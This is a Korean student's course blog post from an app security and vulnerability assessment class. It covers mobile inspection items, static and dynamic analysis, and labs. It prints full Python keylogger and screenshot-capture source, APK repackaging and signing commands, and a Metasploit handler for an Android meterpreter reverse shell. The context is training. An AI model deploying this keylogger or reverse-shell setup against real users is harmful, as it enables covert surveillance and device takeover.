본문 바로가기
SeSAC/어플리케이션 보안 & 취약점 진단

[SeSAC 성동캠퍼스 1기] 어플리케이션 보안 & 취약점 진단 8일차

by zivvon 2023. 11. 22.
목차 접기

어플리케이션 보안 & 취약점 진단

[ 안드로이드 Android ]

 

▶ 모바일 어플리케이션 주요 점검 항목

점검 항목 설명
OS 변조 탐지 기능 적용 여부  OS가 변조(루팅, 탈옥)된 단말 이용 시 보안 위협이 증대됨에 따라, OS 변조 시 서비스 이용 가능 여부를 점검
프로그램 무결성 검증 변조된 프로그램이 정상 실행 될 경우, 악성코드가 포함되어 재배포되는 등의 보안 위협이 존재함에 따라, 변조 프로그램 정상 실행 가능 여부 점검
메모리 내 중요정보 노출 여부 이용자 단말기 메모리 영역에서 이용자 중요정보의 평문 노출 여부 점검
단말기 내 중요정보 저장 여부 어플리케이션 사용 폴더 및 외부 저장소에 존재하는 파일 내 주요정보 저장 여부 점검
화면 강제 실행에 의한 인증단계 우회 화면 강제 실행, 인증관련 파일 조작 등을 통해 인증단계 우회 가능 여부 점검

 

 

▶ 정적 분석 : 소스코드 상에서 결함을 찾아내는 분석 기법

- AndroidManifest.xml, Decompile 등 소스코드

- 코드 분석

ㄴ 코드 분석 : classes.dex 또는 SO 파일 분석

~> JavaClass 들의 모음

~> DexHeader 안에 각 영역 (String, Type, Proto, Field, Method, Class, Data)에 대한 size와 offset이 정의되어 있음

 

▶ 동적 분석 : 앱 실행 중인 환경에서 결함을 찾아내는 분석 기법

- 사용자 입/출력 및 실행 흐름 변조 등을 통해 취약점 발생 가능성 확인

- 실행 중이 환경에서 데이터 및 실행 흐름 변조를 통해 취약점 확인

- Frida 또는 XposedFramework

- Java 영역 JEB

- Native 영역 IDA를 통해 동적 분석 가능

- AndroidManifest.xml 내 debuggable="True" 속성 필요

- IDA port forwading


 

💡오늘의 실습!

smali 코드 분석해보기!

좌) 디컴파일 전 java코드, 우) 디컴파일 된 smali 코드

 

 

Dalvik 바이트 코드  |  Android 오픈소스 프로젝트  |  Android Open Source Project

Dalvik 바이트 코드 컬렉션을 사용해 정리하기 내 환경설정을 기준으로 콘텐츠를 저장하고 분류하세요. 일반 디자인 머신 모델과 호출 규칙은 일반적인 실제 아키텍처와 C 스타일 호출 규칙을 거

source.android.com

 


 

💡오늘의 실습!

키로거 생성하기

 

from pynput import keyboard, mouse
from datetime import datetime
import pygetwindow
import pyautogui
import time
import threading

def on_click(x, y, button, pressed):
    print(pygetwindow.getActiveWindow(), x, y, button)
    print(str(datetime.now()).replace(":" ,"") + "_" + str(x) + "_" + str(y) + "_.png")
    print(pyautogui.screenshot(str(datetime.now()).replace(":" ,"") + "_" + str(x) + "_" + str(y) + "_.png"))

def getMouse():
    with mouse.Listener(on_click = on_click) as listener:
        listener.join()

def cature():
    while True:
        im2 = pyautogui.screenshot(str(datetime.now()).replace(":", "") + "_" + ".png")
        time.sleep(15)

def on_press(key):
    print(pygetwindow.getActiveWindow().title, datetime.now(), key)

th = threading.Thread(target = getMouse, args=())
th.start()

with keyboard.Listener(on_press = on_press, on_release = None) as listener:
    listener.join()

 

결과화면!


 

💡오늘의 실습!

디컴파일 후 smali 코드 변경해 리패키징하기! 그리고 nox에서 apk 파일 확인!
리패키징
java -jar [apktool도구.jar] b [디컴파일한 디렉토리] -o [리패키징할 apk 파일명]​


키 생성

keytool -genkey -alias [alias명] -keyalg RSA -validity 20000 -keystore [Key이름]

서명
jarsigner -verbose -keystore [/Key 위치/Key] [서명할 apk] [alias]

 ⚠️ 서명까지 완료해야 끝난다!


⚠️ keystore.exe와 jarsigner.exe 찾는 법
dir /a /s keystore.exe
dir /a /s jarsigner.exe

nox에서 확인하는 법
우선 Kali 서버에서! (VMware)
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost [서버 IP]
set lport [포트 번호]
set exitonsession false
exploit -j
서버에서 녹스에 apk 파일이 잘 설치된 것을 볼 수 있다!


세션 관리

sessions
sessions -i [번호]로 핸들링

 

오늘의 후기 

: 본격적인 악성코드 실습이라서 코드를 다 올리지 못했다 ㅎㅎ.. 재밌다!